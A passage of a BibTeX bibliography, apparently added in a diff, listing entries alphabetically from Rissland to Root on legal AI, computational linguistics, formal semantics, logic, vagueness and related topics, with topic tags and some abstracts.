{Yale Law Review}, + volume = {99}, + pages = {1957--1981}, + year = {1990}, + topic = {legal-AI;legal-reasoning;} + } + +@article{ rissland-skalak:1991a, + author = {Edwina L. Rissland and David B. Skalak}, + title = {{CABARET}: Statutory Interpretation in a Hybrid + Architecture}, + journal = {International Journal of Man-Machine Studies}, + volume = {34}, + number = {6}, + pages = {839--887}, + year = {1991}, + topic = {legal-AI;} + } + +@article{ ristad:1990a, + author = {Eric Sven Ristad}, + title = {Computational Structures of {GPSG} Models}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {5}, + pages = {521--587}, + topic = {GPSG;} + } + +@inproceedings{ ristad-thomas:1997a, + author = {Eric Sven Ristad and Robert G. Thomas}, + title = {Hierarchical Non-Emitting {M}arkov Models}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {381--385}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {statistical-nlp;} + } + +@article{ ritchie-hanna:1984a, + author = {G.D. Ritchie and F.K. Hanna}, + title = {{AM}: A case study in {AI} methodology } , + journal = {Artificial Intelligence}, + year = {1984}, + volume = {23}, + number = {3}, + pages = {249--268}, + acontentnote = {Abstract: + Much artificial intelligence research is based on the + construction of large impressive-looking programs, the + theoretical content of which may not always be clearly stated. + This is unproductive from the point of view of building a stable + base for further research. We illustrate this problem by + referring to Lenat's AM program, in which the techniques + employed are somewhat obscure in spite of the impressive + performance. } , + topic = {AI-methodology;machine-learning;} + } + +@book{ ritchie-etal:1992a, + author = {Graeme D. Ritchie and Graham J. Russell and Allan W. Black + and Stephen G. Pulman}, + title = {Computational Morphology}, + publisher = {The {MIT} Press}, + year = {1992}, + address = {Cambridge, Massachusetts}, + topic = {computational-morphology;} + } + +@article{ ritchie:1999a, + author = {Graeme Ritchie}, + title = {Completeness Conditions for Mixed Strategy + Bidirectional Parsing}, + journal = {Computational Linguistics}, + year = {1999}, + volume = {25}, + number = {4}, + pages = {457--486}, + topic = {parsing-algorithms;} + } + +@article{ rivero:1973a, + author = {Mar\'ia-Luisa Rivero}, + title = {Antecedents of Contemporary Logical and Linguistic + Analyses in {S}cholastic Logic}, + journal = {Foundations of Language}, + year = {1973}, + volume = {10}, + number = {1}, + pages = {55--64}, + topic = {history-of-logic;philosophy-and-linguistics;} + } + +@article{ rivero:1992a, + author = {Mar\'ia-Luisa Rivero}, + title = {Adverb Incorporation and the Syntax of Adverbs + in Modern {G}reek}, + journal = {Linguistics and Philosophy}, + year = {1992}, + volume = {15}, + number = {3}, + pages = {289--331}, + topic = {adverbs;incorporation;nl-syntax;modern-Greek-language;} + } + +@article{ rivest:1987a, + author = {Ronald L. Rivest}, + title = {Game Tree Searching by Min/Max Approximation}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {34}, + number = {1}, + pages = {77--96}, + topic = {game-trees;search;} + } + +@inproceedings{ rivest-sloan:1988a, + author = {Ronald L. Rivest and Robert Sloan}, + title = {A New Model for Inductive Inference}, + booktitle = {Proceedings of the Second Conference on Theoretical + Aspects of Reasoning about Knowledge}, + year = {1988}, + editor = {Moshe Y. Vardi}, + pages = {13--27}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {probabilistic-reasoning;induction;} + } + +@book{ rizzi:1995a, + author = {Luigi Rizzi}, + title = {Relativized Minimality}, + publisher = {The {MIT} Press}, + year = {1995}, + address = {Cambridge, Massachusetts}, + topic = {nl-syntax;GB-syntax;} + } + +@article{ roark:2001a, + author = {Brian Roark}, + title = {Probabilistic Top-Down Parsing and Language Modeling}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {2}, + pages = {249--276}, + topic = {probabilistic-parsers;} + } + +@article{ robbins:2002a, + author = {Philip Robbins}, + title = {How to Blunt the Sword of Compositionality}, + journal = {No\^us}, + year = {2002}, + volume = {36}, + number = {2}, + pages = {313--334}, + topic = {concepts;foundations-of-psychology;} + } + +@article{ roberts:2001a, + author = {Tim S. Roberts}, + title = {Some Thoughts about the Hardest Logic Puzzle Ever}, + journal = {Journal of Philosophical Logic}, + year = {2001}, + volume = {30}, + number = {6}, + pages = {609--612}, + topic = {logic-puzzles;} + } + +@unpublished{ roberts_c:1984a, + author = {Craige Roberts}, + title = {Modal Subordination and Pronominal Anaphora}, + year = {1984}, + note = {Unpublished manuscript, Linguistics Department, University + of Massachusetts}, + topic = {nl-semantics;anaphora;modal-subordination;} + } + +@incollection{ roberts_c:1985a, + author = {Craige Roberts}, + title = {Domain Restriction in Dynamic Semantics}, + booktitle = {Quantification in Natural Languages, Vol. 2}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Emmon Bach and Eloise Jelinek and Angelika Kratzer and + Barbara Partee}, + pages = {661--700}, + address = {Dordrecht}, + topic = {nl-semantics;nl-quantifiers;compositionality;} + } + +@phdthesis{ roberts_c:1986a, + author = {Craige Roberts}, + title = {Modal Subordination, Anaphora and Distributivity}, + school = {Linguistics Department, University of Massachusetts}, + year = {1986}, + address = {Amherst, Massachusetts}, + topic = {nl-semantics;anaphora;} + } + +@inproceedings{ roberts_c:1987b, + author = {Craige Roberts}, + title = {Plural Anaphors in Distributive Contexts}, + booktitle = {WCCFL 6}, + publisher = {Stanford Linguistics Association}, + address = {Stanford}, + year = {1987}, + missinginfo = {pages}, + topic = {plural;anaphora;} + } + +@article{ roberts_c:1989a, + author = {Craige Roberts}, + title = {Modal Subordination and Pronominal Anaphora in Discourse}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {6}, + pages = {683--721}, + topic = {propositional-attitudes;anaphora;donkey-anaphora;pragmatics; + modal-subordination;} + } + +@inproceedings{ roberts_c:1991a, + author = {Craige Roberts}, + title = {Distributivity and Reciprocal Distributivity}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {I}}, + year = {1991}, + editor = {Steven Moore and {Adam Zachary} Wyner}, + pages = {209--229}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {reciprical-constructions;distributivity-of-quantifiers;} + } + +@techreport{ roberts_c:1996a, + author = {Craige Roberts}, + title = {Information Structure in Discourse: Towards an + Integrated Formal Theory of Pragmatics}, + institution = {Linguistics Department, The Ohio State University}, + year = {1996}, + address = {Columbus, Ohio}, + note = {OSU Working Papers in Linguistics, volume 49, + Jae-Hak Yoon and Andreas Kathol, editors.}, + topic = {discourse;pragmatics;} + } + +@incollection{ roberts_c:1996b, + author = {Craige Roberts}, + title = {Anaphora in Intensional Contexts}, + booktitle = {The Handbook of Contemporary Semantic Theory}, + publisher = {Blackwell Publishers}, + year = {1996}, + address = {Oxford}, + editor = {Shalom Lappin}, + pages = {215--246}, + topic = {anaphora;intensionality;modal-subordination;} + } + +@incollection{ roberts_c:1997a, + author = {Craige Roberts}, + title = {Focus, The Flow of Information, and Universal Grammar}, + booktitle = {The Limits of Syntax}, + publisher = {Academic Press}, + year = {1997}, + editor = {Peter Culicover and Louise McNally}, + address = {New York}, + missinginfo = {Pages.}, + topic = {sentence-focus;pragmatics;} + } + +@incollection{ roberts_c:1997b, + author = {Craige Roberts}, + title = {The Place of Centering in a General Theory + of Anaphora}, + booktitle = {Centering Theory in Discourse}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {Marilyn A. Walker and Arivind K. Joshi and Ellen Prince}, + pages = {359--399}, + address = {Oxford}, + topic = {anaphora-resolution;discourse;pragmatics;anaphora;centering;} + } + +@incollection{ roberts_dd:1992a, + author = {Don D. Roberts}, + title = {The Existential Graphs}, + booktitle = {Semantic Networks in Artificial Intelligence}, + publisher = {Pergamon Press}, + year = {1992}, + editor = {Fritz Lehmann}, + pages = {639--663}, + address = {Oxford}, + topic = {CS-Peirce;history-of-logic;} + } + +@article{ roberts_ld:1985a, + author = {Lawrence D. Roberts}, + title = {Problems about Material and Formal Modes in the + Necessity of Identity}, + journal = {The Journal of Philosophy}, + year = {1985}, + volume = {82}, + number = {10}, + pages = {562--572}, + topic = {identity;} + } + +@article{ roberts_ld:1991a, + author = {Lawrence D. Roberts}, + title = {Relevance as an Explanation of Communication}, + journal = {Linguistics and Philosophy}, + year = {1991}, + volume = {14}, + number = {4}, + pages = {453--472}, + topic = {speaker-meaning;relevance-theory;} + } + +@book{ roberts_ld:1993a, + author = {Lawrence D. Roberts}, + title = {How Reference Works: Explanatory Models for Indexicals, + Descriptions, and Opacity}, + publisher = {State University of New York Press}, + year = {1993}, + address = {Albany}, + ISBN = {0-7914-1576-7 (pbk)}, + topic = {reference;indexicals;descriptions;philosophy-of-language;} + } + +@techreport{ roberts_r-goldstein:1977a, + author = {R. Roberts and I. Goldstein}, + title = {The {FRL} Manual}, + institution = {{MIT} Artificial Intelligence Laboratory}, + number = {AI Memo No. 409}, + year = {1977}, + address = {Cambridge, Massachusetts}, + missinginfo = {A's 1st name}, + topic = {frames;} + } + +@article{ robertson_t:2000a, + author = {Teresa Robertson}, + title = {On {S}oames's Solution to the Sorites Paradox}, + journal = {Analysis}, + year = {2000}, + volume = {60}, + number = {4}, + pages = {328--334}, + xref = {Commentary on: soames:1999a.}, + topic = {vagueness;sorites-paradox;} + } + +@techreport{ robin:1990a, + author = {Jacques Robin}, + title = {Lexical Choice in Natural Language Generation}, + institution = {Computer Science Department, Columbia University}, + year = {1990}, + number = {CUCS-04-90}, + topic = {lexical-selection;nl-generation;} +} + +@inproceedings{ robin:1996a, + author = {Jacques Robin}, + title = {Evaluating the Portability of Revision Rules for + Incremental Summary Generation}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {205--214}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {text-summary;} + } + +@article{ robin-mckeown:1996a, + author = {Jacques Robin and Kathleen McKeown}, + title = {Empirically Designing and Evaluating a New Revision-Based + Model for Summary Generation}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {85}, + number = {1--2}, + pages = {135--179}, + topic = {nl-generation;corpus-linguistics;} + } + +@article{ robins_jm:1992a, + author = {James M. Robins}, + title = {Estimation of the Time-Dependent Accelerated Failure Time + Model in the Presence of Confounding Factors}, + journal = {Biometrika}, + year = {1992}, + volume = {79}, + pages = {321--334}, + missinginfo = {number}, + topic = {statistical-inference;statistics;causality;} + } + +@incollection{ robins_jm:1993a, + author = {James M. Robins}, + title = {Analytic Methods for Estimating {HIV} Treatment and Cofactor + Effects}, + booktitle = {Methodological Issues of {AIDS} Mental Health Research}, + publisher = {Plenum Press}, + year = {1993}, + editor = {David G. Ostrow and Ronald C. Kessler}, + pages = {213--290}, + address = {New York}, + topic = {statistical-inference;statistics;causality;} + } + +@inproceedings{ robins_jm:1998a, + author = {James M. Robins}, + title = {Marginal Structural Models versus + Structural Nested Models as Tools for Causal + Inference}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Prospects for a Commonsense Theory of Causation}, + year = {1998}, + organization = {American Association for Artificial Intelligence}, + publication = {American Association for Artificial Intelligence}, + address = {Menlo Park, CA}, + editor = {Charles L. {Ortiz, Jr.}}, + pages = {65--83}, + topic = {causality;statistics;statistical-inference;} + } + +@article{ robins_mh:1997a, + author = {Michael H. Robins}, + title = {Is it Rational to Carry out Strategic Intentions?}, + journal = {Philosophia}, + year = {1997}, + volume = {25}, + number = {1--4}, + pages = {191--221}, + topic = {intention;rational-action;} + } + +@book{ robinson_a:1966a, + author = {Abraham Robinson}, + title = {Nonstandard Analysis}, + publisher = {North-Holland}, + year = {1966}, + address = {Amsterdam}, + topic = {nonstandard-models;nonstandard-real-numbers;} + } + +@incollection{ robinson_ae:1978a, + author = {Ann E. Robinson}, + title = {Conclusion}, + booktitle = {Understanding Spoken Language}, + publisher = {North-Holland}, + year = {1978}, + editor = {Donald E. Walker}, + pages = {383--391}, + address = {Amsterdam}, + topic = {computational-dialogue;} + } + +@incollection{ robinson_jj:1978a, + author = {Jane J. Robinson}, + title = {Preface}, + booktitle = {Understanding Spoken Language}, + publisher = {North-Holland}, + year = {1978}, + editor = {Donald E. Walker}, + pages = {xv--xviii}, + address = {Amsterdam}, + topic = {computational-dialogue;} + } + +@article{ robinson_jj:1982a, + author = {Jane Robinson}, + title = {{DIAGRAM}: A Grammar for Dialogues}, + journal = {Communications of the {ACM}}, + year = {1982}, + volume = {25}, + number = {1}, + pages = {27--47}, + topic = {discourse-structure;pragmatics;} + } + +@incollection{ robinson_jj:1994a, + author = {Jane Robinson}, + title = {On Getting a Computer to Listen}, + booktitle = {Current Issues in Computational Linguistics: Essays in + Honour of {D}on {W}alker}, + publisher = {Giardini Editori e Stampatori and Kluwer Academic + Publishers}, + year = {1994}, + editor = {Antonio Zampolli and Nicoletta Calzolari and Martha Palmer}, + pages = {17--39}, + address = {Pisa and Dordrecht}, + topic = {nlp-survey;nl-interpretation;} + } + +@book{ robinson_p:1996a, + author = {Peter Robinson}, + title = {Deceit, Delusion, and Detection}, + publisher = {Sage Publications}, + year = {1996}, + address = {Thousand Oaks, California}, + topic = {deception;pragmatics;} + } + +@article{ robinson_r:1950a, + author = {Richard Robinson}, + title = {Forms and Error in {P}lato's Metaphysics}, + journal = {The Philosophical Review}, + year = {1950}, + volume = {59}, + number = {1}, + pages = {3--30}, + topic = {Plato;} + } + +@article{ robinson_r:1971a, + author = {Richard Robinson}, + title = {Begging the Question}, + journal = {Analysis}, + year = {1971}, + volume = {31}, + number = {4}, + pages = {113--117}, + topic = {question-begging;argumentation;} + } + +@book{ roca:1992a, + author = {Iggy M. Roca}, + title = {Thematic Structure: Its Role in Grammar}, + publisher = {Foris Publications}, + year = {1992}, + address = {Berlin}, + topic = {thematic-roles;argument-structure;} + } + +@article{ roche-schabes:1995a, + author = {Emmanuel Roche and Yves Schabes}, + title = {Deterministic Part-of-Speech Tagging with Finite-State + Transducers}, + journal = {Computational Linguistics}, + year = {1995}, + volume = {21}, + number = {2}, + pages = {227--253}, + topic = {part-of-speech-tagging;finite-state-nlp;} + } + +@book{ roche-schabes:1997a, + editor = {Emmanuel Roche and Yves Schabes}, + title = {Finite-State Language Processing}, + publisher = {The {MIT} Press}, + year = {1997}, + address = {Cambridge, Massachusetts}, + topic = {finite-state-nlp;} + } + +@book{ rochemont:1985a, + author = {Michael S. Rochemont}, + title = {A Theory of Stylistic Rules in {E}nglish}, + publisher = {Garland Publishers}, + year = {1985}, + address = {New York}, + ISBN = {0824054385}, + topic = {linguistic-style;} + } + +@book{ rochemont:1986a, + author = {Michael Rochemont}, + title = {Focus in Generative Grammar}, + publisher = {John Benjamins}, + year = {1986}, + address = {Amsterdam}, + ISBN = {9027227918 (pbk.)}, + topic = {sentence-focus;} + } + +@book{ rochester-martin:1979a, + author = {S. Rochester and J.R. Martin}, + title = {Crazy Talk: A Study of the Discourse of Schizophrenic + Speakers}, + publisher = {Plenum Press}, + year = {1979}, + address = {New York}, + topic = {discourse-pathology;pragmatics;} + } + +@article{ rock:1987a, + author = {Sheila Rock}, + title = {Review of {\it Robot Technology, Volume 1: Modelling and + Control, and Volume 2: Interaction with the Environment}, by + {P}hilippe {C}oiffet}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {33}, + number = {1}, + pages = {141--142}, + xref = {Review of coiffet:1983a and coiffet:1983b.}, + topic = {robotics;} + } + +@incollection{ rodd:1998a, + author = {Jennifer Rodd}, + title = {Recurrent Neural-Network Learning of Phonological + Regularities in {T}urkish}, + booktitle = {{CoNLL97}: Computational Natural Language Learning}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {T. Mark Ellison}, + pages = {97--106}, + address = {Somerset, New Jersey}, + topic = {machine-language-learning;Turkish-language;} + } + +@article{ rodder:2000a, + author = {Wilhelm R\"odder}, + title = {Conditional Logic and the Principle of Entropy}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {117}, + number = {1}, + pages = {83--106}, + acontentnote = {Abstract: + The conditional three-valued logic of Calabrese is applied to + the language L* of conditionals on propositional variables with + finite domain. The conditionals in L* serve as a means for the + construction and manipulation of probability distributions + respecting the Principle of Maximum Entropy and of Minimum + Relative Entropy. This principle allows a sound inference even + in the presence of uncertain evidence. The inference is + directed, it respects a probabilistic version of Modus + Ponens--not of Modus Tollens--,it permits transitive + chaining and supports a cautious monotony. Conjunctive, + conditional and material deduction are manageable in this + probabilistic logic, too. The concept is not merely + theoretical, but enables large-scale applications in the expert + system-shell SPIRIT. + } , + topic = {conditionals;probability-semantics;many-valued-logic; + world-entropy;} + } + +@incollection{ rodi-pimentel:1991a, + author = {William L. Rodi and Stephen G. Pimentel}, + title = {A Nonmonotonic Assumption-Based {TMS} Using Stable Bases}, + booktitle = {{KR}'91: Principles of Knowledge Representation and Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1991}, + editor = {James F. Allen and Richard Fikes and Erik Sandewall}, + pages = {485--495}, + address = {San Mateo, California}, + topic = {kr;truth-maintenance;nonmonotonic-reasoning;kr-course;} + } + +@book{ rodman:1975a, + author = {Robert Rodman}, + title = {The Nondiscrete Nature of Islands}, + publisher = {Indiana University Linguistics Club}, + year = {1975}, + address = {Department of Linguistics, University of Indiana, + Bloomington, Indiana}, + topic = {syntactic-islands;} + } + +@incollection{ rodman:1976a, + author = {Robert Rodman}, + title = {Scope Phenomena, `Movement Transformations', + and Relative Clauses}, + booktitle = {Montague Grammar}, + publisher = {Academic Press}, + year = {1976}, + editor = {Barbara H. Partee}, + pages = {165--176}, + address = {New York}, + topic = {Montague-grammar;relative-clauses;nl-quantifier-scope; + syntactic-islands;} + } + +@incollection{ rodriguez_ma-eigenhofer:1999a, + author = {M. Andrea Rodr\'iguez and Max J. Eigenhofer}, + title = {Putting Similarity Assessments into Context: Matching + Functions with the User's Intended Operations}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {310--323}, + address = {Berlin}, + topic = {context;similarity;WordNet;geograqphical-reasoning;} + } + +@incollection{ rodriguez_r-anger:1996a, + author = {Rita Rodriguez and Frank Anger}, + title = {Prior's Temporal Legacy in Computer Science}, + booktitle = {Logic and Reality: Essays on the Legacy of {A}rthur + {P}rior}, + publisher = {Oxford University Press}, + year = {1996}, + editor = {Jack Copeland}, + pages = {89--109}, + address = {Oxford}, + topic = {temporal-logic;parallel-processing;distributed-systems; + kr;} + } + +@article{ roeper:1987a, + author = {Peter Roeper}, + title = {Principles of Abstraction for Events and Processes}, + journal = {Journal of Philosophical Logic}, + year = {1987}, + volume = {16}, + number = {3}, + pages = {273--307}, + topic = {events;Aktionsarten;} + } + +@incollection{ roeper:1993a, + author = {Thomas Roeper}, + title = {Explicit Syntax in the Lexicon: The Representation of + Nominalizations}, + booktitle = {Semantics and the Lexicon}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + editor = {James Pustejovsky}, + pages = {185--220}, + address = {Dordrecht}, + topic = {lexical-semantics;nominalization;} + } + +@article{ roeper:1997a, + author = {Peter Roeper}, + title = {Region-Based Topology}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {3}, + pages = {251--309}, + topic = {foundations-of-topology;} + } + +@article{ roeper-leblanc:1999a, + author = {Peter Roeper and Hugues Leblanc}, + title = {Absolute Probability Functions for Intuitionistic + Propositional Logic}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {3}, + pages = {223--234}, + topic = {probability-semantics;intuitionistic-logic;} + } + +@book{ roese-olsen:1995a, + author = {Neal J. Roese and James M. Olsen}, + title = {What Might Have Been: The Social Psychology of + Counterfactual Thinking}, + publisher = {Lawrence Erlbaum Associates}, + year = {1995}, + address = {Mahwah, New Jersey}, + topic = {conditionals;social-psychology;} + } + +@incollection{ rogers:1997b, + author = {James Rogers}, + title = {Strict {LT2}:REGULAR :: Local:Recognizable}, + booktitle = {{LACL}'96: First International Conference on + Logical Aspects of Computational Linguistics}, + publisher = {Springer-Verlag}, + year = {1997}, + editor = {Christian Retor/'e}, + pages = {366--385}, + address = {Berlin}, + topic = {logic-and-computational-linguistics;} + } + +@unpublished{ rogers_a:1971a, + author = {Andy Rogers}, + title = {Three Kinds of Physical Perception Verbs}, + year = {1971}, + note = {Unpublished manuscript, Linguistics Department, University + of Texas at Austin.}, + topic = {logic-of-perception;} + } + +@unpublished{ rogers_a:1977a, + author = {Andy Rogers}, + title = {Remarks on `Assertion' and Related Matters}, + year = {1977}, + note = {Unpublished manuscript, Linguistics Department, University + of Texas at Austin.}, + topic = {discourse;pragmatics;} + } + +@article{ rogers_a:1978a, + author = {Andy Rogers}, + title = {On Generalized Conversational Implicatures and + Preparatory Conditions}, + journal = {Texas Linguistic Forum}, + year = {1978}, + volume = {10}, + pages = {72--75}, + topic = {implicature;pragmatics;speech-acts;pragmatics;} + } + +@incollection{ rogers_e:1995a, + author = {Erika Rogers}, + title = {Visual Interaction: A Link between Perception and Problem + Solving}, + booktitle = {Diagrammatic Reasoning}, + publisher = {The {MIT} Press}, + year = {1995}, + editor = {Janice Glasgow and N. Hari Narayanan and B. + Chandrasekaran}, + pages = {481--500}, + address = {Cambridge, Massachusetts}, + topic = {diagrams;reasoning-with-diagrams; + cognitive-psychology;visual-reasoning;} + } + +@incollection{ rogers_h:1998a, + author = {Henry Rogers}, + title = {Education}, + booktitle = {Using Computers in Linguistics: A Practical Guide}, + publisher = {Routledge}, + year = {1998}, + editor = {John Lawler and Aristar Dry}, + pages = {62--100}, + address = {London}, + topic = {linguistics-and-computation; + computer-assisted-instruction;} + } + +@inproceedings{ rogers_j:1996a, + author = {James Rogers}, + title = {A Model-Theoretic Framework for Theories of Syntax}, + booktitle = {Proceedings of the Thirty-Fourth Annual Meeting of the + Association for Computational Linguistics}, + year = {1996}, + editor = {Arivind Joshi and Martha Palmer}, + pages = {10--16}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco}, + topic = {grammar-formalisms;foundations-of-syntax;} + } + +@article{ rogers_j:1997a, + author = {James Rogers}, + title = {\,`Grammarless' Phrase Structure Grammar}, + journal = {Linguistics and Philosophy}, + year = {1997}, + volume = {20}, + number = {6}, + pages = {721--746}, + topic = {GPSG;constraint-based-grammar;} + } + +@book{ rogers_j:1998a, + author = {James Rogers}, + title = {A Descriptive Approach to Language-Theoretic Complexity}, + publisher = {{CSLI} Publications}, + year = {1998}, + address = {Stanford, California}, + ISBN = {1-57586-137-2}, + xref = {Review: miller_p-pullum:2001a.}, + topic = {mathematical-linguistics;complexity-theory; + foundations-of-syntax;} + } + +@incollection{ rogoff:1991a, + author = {Barbara Rogoff}, + title = {Social Interaction as Apprenticeship in + Thinking: Guided Participation in Spatial + Planning}, + booktitle = {Perspectives on Socially Shared Cognition}, + publisher = {American Psychological Association}, + year = {1991}, + editor = {Lauren B. Resnick and John M. Levine and + Stephanie D. Teasley}, + pages = {349--383}, + address = {Washington, D.C.}, + topic = {social-psychology;shared-cognition;} + } + +@article{ rohrer:1977a, + author = {Christian Rohrer}, + title = {Double Terms and the {B}ach-{P}eters Paradox}, + journal = {Actes Du Colloque {F}ranco-{A}llemand de Linguistique + Th\'eoretique}, + year = {1977}, + pages = {205--217}, + missinginfo = {volume, number}, + topic = {Bach-Peters-sentences;Montague-grammar;} + } + +@book{ roitblat-meyer_ja:1995a, + editor = {Herbert L. Roitblat and Jean-Arcady Meyer}, + title = {Comparative Approaches to Cognitive Science}, + publisher = {Cambridge, Mass.: MIT Press}, + year = {1995}, + address = {Cambridge}, + ISBN = {0262181665}, + topic = {cognitive-science-general;cognitive-science-survey;} + } + +@article{ roizen-pearl:1983a, + author = {Igor Roizen and Judea Pearl}, + title = {A Minimax Algorithm Better Than Alpha-Beta? Yes and No}, + journal = {Artificial Intelligence}, + year = {1983}, + volume = {21}, + number = {1--2}, + pages = {199--220}, + topic = {search;} + } + +@article{ rolf:1980a, + author = {Bertil Rolf}, + title = {A Theory of Vagueness}, + journal = {Journal of Philosophical Logic}, + year = {1980}, + volume = {9}, + number = {2}, + pages = {315--325}, + topic = {vagueness;} + } + +@phdthesis{ rolf:1981a, + author = {Bertil Rolf}, + title = {Topics on Vagueness}, + school = {Lunds Universitet}, + year = {1981}, + address = {Lunds Universitet, Filosofiska Instititonen, Kungshuset, + Lundag\o{a}rd, S-223 50 Lund, Sweden}, + month = {August}, + contentnote = {Contains a comprehensive bibliography.}, + topic = {vagueness;} + } + +@article{ rolf:1984a, + author = {Bertil Rolf}, + title = {Sorites}, + journal = {Synth\'ese}, + year = {1984}, + volume = {58}, + number = {2}, + pages = {219--250}, + topic = {vagueness;sorites-paradox;} + } + +@incollection{ rolls:1993a, + author = {Edmund T. Rolls}, + title = {Networks in the Brain}, + booktitle = {The Simulation of Human Intelligence}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {Donald Broadbent}, + pages = {103--120}, + address = {Oxford}, + topic = {neurocognition;} + } + +@incollection{ romacker-hahn:2001a, + author = {Martin Romacker and Udo Hahn}, + title = {Context-Based Ambiguity Management for Natural Language + Processing}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {184--197}, + address = {Berlin}, + topic = {context;disambiguation;} + } + +@article{ romanycia-pelletier:1985a, + author = {Marc H.J. Romanycia and Francis J. Pelletier}, + title = {What is a Heuristic?}, + journal = {Computational Intelligence}, + year = {1985}, + volume = {1}, + number = {2}, + pages = {47--58}, + topic = {philosophy-of-AI;AI-methodology;} + } + +@book{ romero-arrizabalaga:1999a, + editor = {Luisa Gonz\'olez Romero and Beatriz Rodr\'iguez Arrizabalaga}, + title = {The Syntax-Semantics Interface}, + publisher = {Universidad de Huelva}, + year = {1999}, + address = {Huelva}, + ISBN = {8495089408}, + topic = {syntax-semantics;} + } + +@book{ rommetveit:1968a, + author = {Ragnar Rommetveit}, + title = {Words, Meanings, and Messages; Theory and Experiments in + Psycholinguistics}, + publisher = {Academic Press}, + year = {1968}, + address = {New York}, + topic = {psycholinguistics;pragmatics;} + } + +@book{ rommetveit:1974a, + author = {Ragnar Rommetveit}, + title = {On Message Structure; A Framework for the Study of Language + and Communication}, + publisher = {John Wiley and Sons}, + year = {1974}, + address = {New York}, + topic = {psycholinguistics;pragmatics;} + } + +@book{ rommetveit-baker:1979a, + editor = {Ragnar Rommetveit and R.M. Baker}, + title = {Studies of Language, Thought, and Verbal Communication}, + publisher = {Academic Press}, + year = {1979}, + address = {New York}, + topic = {psycholinguistics;pragmatics;} + } + +@article{ room:1989a, + author = {Adrian Room}, + title = {Axing the Apostrophe}, + journal = {English Today}, + year = {1989}, + volume = {5}, + number = {3}, + pages = {21--23}, + topic = {punctuation;} + } + +@incollection{ roorda_d:1993a, + author = {Dirk Roorda}, + title = {Dyadic Modalities and {L}ambek Calculus}, + booktitle = {Diamonds and Defaults}, + publisher = {Kluwer Academic Publishers}, + editor = {Maarten de Rijke}, + year = {1993}, + pages = {215--253}, + address = {Dordrecht}, + topic = {modal-logic;Lambek-calculus;} + } + +@article{ roorda_j:1997a, + author = {Jonathan Roorda}, + title = {Fallibilism, Ambivalence, and Belief}, + journal = {Journal of Philosophy}, + year = {1997}, + volume = {94}, + number = {3}, + pages = {109--125}, + topic = {belief;} + } + +@techreport{ roords:1992a, + author = {Dirk Roorda}, + title = {Lambek Calculus and Boolean Connectives: On the Road}, + institution = {Research Institute for Language and Speech, + Rijksuniversiteit Utrecht}, + number = {OTS--WP--CL--92--004}, + year = {1992}, + address = {Trans 10, 3512 Utrecht}, + missinginfo = {A's 1st name, number}, + topic = {Lambek-calculus;} + } + +@article{ roos:1992a, + author = {Nico Roos}, + title = {A Logic for Reasoning with Inconsistent Knowledge}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {57}, + number = {1}, + pages = {69--103}, + acontentnote = {Abstract: + In many situations humans have to reason with inconsistent + knowledge. These inconsistencies may occur due to not fully + reliable sources of information. In order to reason with + inconsistent knowledge, it is not possible to view a set of + premisses as absolute truths as is done in predicate logic. + Viewing the set of premisses as a set of assumptions, however, + it is possible to deduce useful conclusions from an inconsistent + set of premisses. In this paper a logic for reasoning with + inconsistent knowledge is described. This logic is a + generalization of the work of Rescher [12]. In the logic a + reliability relation is used to choose between incompatible + assumptions. These choices are only made when a contradiction is + derived. As long as no contradiction is derived, the knowledge + is assumed to be consistent. This makes it possible to define + an executable deduction process for the logic. For the logic a + semantics based on the ideas of Shoham [14,15] is defined. It + turns out that the semantics for the logic is a preferential + semantics according to the definition of Kraus, Lehmann and + Magidor [9]. Therefore the logic is a logic of system P and + possesses all the properties of an ideal nonmonotonic logic. } , + topic = {paraconsistency;nonmonotonic-logic;model-preference;} + } + +@article{ roos:1998a, + author = {Nico Roos}, + title = {Reasoning by Cases in Default Logic}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {99}, + number = {1}, + pages = {165--183}, + topic = {default-logic;} + } + +@incollection{ root:1975a, + author = {Michael D. Root}, + title = {Language, Rules, and Complex Behavior}, + booktitle = {Language, Mind, and Knowledge. {M}innesota Studies in + the Philosophy of Science, Vol. 7}, + publisher = {University of Minnesota Press}, + year 